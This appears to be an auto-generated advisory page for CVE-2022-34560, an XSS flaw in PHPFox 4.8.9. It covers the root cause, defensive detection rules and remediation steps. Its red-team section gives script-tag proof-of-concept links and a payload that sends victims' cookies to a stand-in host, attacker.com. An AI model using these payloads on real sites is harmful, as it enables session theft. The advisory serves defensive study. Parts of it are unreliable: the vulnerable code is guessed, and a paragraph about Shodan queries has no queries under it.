CVE-2022-34560
Executive Summary
CVE-2022-34560 is a Cross-Site Scripting (XSS) vulnerability identified in PHPFox version 4.8.9. The flaw resides in the History parameter, allowing an attacker to inject arbitrary web scripts or HTML. This is a client-side attack vector that requires user interaction (e.g., clicking a crafted link). The vulnerability is publicly known with a proof-of-concept (PoC) available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
PHPFox is a proprietary PHP-based social network platform. No open-source package (NPM, PyPI, Go, Ruby) is directly associated with this CVE. The risk is limited to self-hosted PHPFox installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires user interaction, but the impact includes session hijacking, defacement, or data theft.
Deep Dive & Mechanics
The vulnerability is a classic Stored/Reflected XSS in the History parameter of PHPFox v4.8.9. The application fails to sanitize user-supplied input before storing or reflecting it in the response. An attacker can craft a URL or form submission containing malicious JavaScript in the History parameter. When a victim views the affected page, the script executes in their browser context.
Root Cause: Lack of output encoding and input validation for the History parameter. The application likely uses $_GET['History'] or $_POST['History'] without proper escaping.
Attack Flow:
- Attacker crafts a malicious link:
http://target.com/index.php?History=<script>alert('XSS')</script> - Victim clicks the link (or visits a page with the injected payload).
- The browser renders the injected script, executing arbitrary JavaScript.
- The script can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (PHPFox v4.8.9):
// Vulnerable: Direct output without sanitization
echo $_GET['History'];
Patched Code (Hypothetical):
// Patched: Use htmlspecialchars to escape output
echo htmlspecialchars($_GET['History'], ENT_QUOTES, 'UTF-8');
No official patch is available. Users must apply manual sanitization or upgrade to a newer version if released.
Exploitation & Lab Setup
Red Team (Offensive)
Proof-of-Concept (PoC):
<!-- Reflected XSS via History parameter -->
<a href="http://target.com/index.php?History=<script>alert(document.cookie)</script>">Click me</a>
Advanced Payload (Session Hijacking):
// Steal cookies and send to attacker server
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
Lab Setup:
- Install PHPFox v4.8.9 on a local server (XAMPP/LAMP).
- Navigate to the vulnerable page.
- Inject the payload via URL or form.
- Observe script execution.
Blue Team (Defensive)
Detection:
- Monitor web logs for suspicious
Historyparameter values containing<script>,onerror, orjavascript:. - Use WAF rules to block XSS patterns.
Mitigation:
- Apply input validation: Allow only alphanumeric characters in the
Historyparameter. - Use Content Security Policy (CSP) headers to restrict script execution.
- Sanitize output with
htmlspecialchars()or equivalent.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with
Historyparameter containing<script>tags. - Outbound connections to unknown IPs on port 80/443 (potential data exfiltration).
- HTTP requests with
- Host:
- Unexpected JavaScript execution in browser console.
- Modified DOM elements (e.g., injected iframes or scripts).
- Logs:
- Web server logs showing
GET /index.php?History=<script>...</script>.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2022_34560_XSS_History {
meta:
description = "Detects XSS payloads targeting PHPFox History parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2022-34560"
strings:
$xss_payload = /History=.*<script[^>]*>.*<\/script>/i
$xss_event = /History=.*on\w+\s*=/i
condition:
any of them
}
Sigma Rule
title: XSS Attempt via PHPFox History Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS payloads in the History parameter of PHPFox
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'History='
cs-uri-query|re: '(<script|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate use of HTML in History (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2022-34560 XSS in PHPFox History Parameter"; flow:to_server,established; content:"History="; nocase; pcre:"/History=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Sanitize the
Historyparameter usinghtmlspecialchars()or equivalent. - Short-term: Implement a Web Application Firewall (WAF) rule to block XSS patterns.
- Long-term: Upgrade to a patched version of PHPFox if available, or migrate to a supported platform.
- Compensating Controls: Enforce Content Security Policy (CSP) headers to restrict inline scripts.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All data is for authorized security testing and defense purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.